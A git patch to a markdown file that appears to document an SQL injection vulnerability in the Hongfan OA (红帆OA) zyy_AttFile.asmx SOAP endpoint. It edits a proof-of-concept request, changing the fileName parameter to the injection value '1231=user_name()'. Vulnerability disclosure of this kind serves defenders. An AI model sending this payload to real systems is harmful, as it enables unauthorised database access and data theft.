From 7de83d74237132298a34ce64aa21d431d98eba97 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Tue, 12 Dec 2023 20:22:28 +0800
Subject: [PATCH] =?UTF-8?q?Update=20=E7=BA=A2=E5=B8=86OA=20zyy=5FAttFile.a?=
 =?UTF-8?q?smx=20SQL=E6=B3=A8=E5=85=A5=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 红帆OA zyy_AttFile.asmx SQL注入漏洞.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/红帆OA zyy_AttFile.asmx SQL注入漏洞.md b/红帆OA zyy_AttFile.asmx SQL注入漏洞.md
index e912966..9b9129b 100644
--- a/红帆OA zyy_AttFile.asmx SQL注入漏洞.md	
+++ b/红帆OA zyy_AttFile.asmx SQL注入漏洞.md	
@@ -9,10 +9,11 @@ Content-Type: text/xml; charset=utf-8
 Soapaction: "http://tempuri.org/GetFileAtt"
 Accept-Encoding: gzip, deflate
 Connection: close
+
 <?xml version="1.0" encoding="utf-8"?><soap:Envelope
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema"
 xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetFileAtt
-xmlns="http://tempuri.org/"><fileName>123</fileName></GetFileAtt> </soap:Body></so
+xmlns="http://tempuri.org/"><fileName>1231=user_name()</fileName></GetFileAtt> </soap:Body></so
 ap:Envelope>
 ```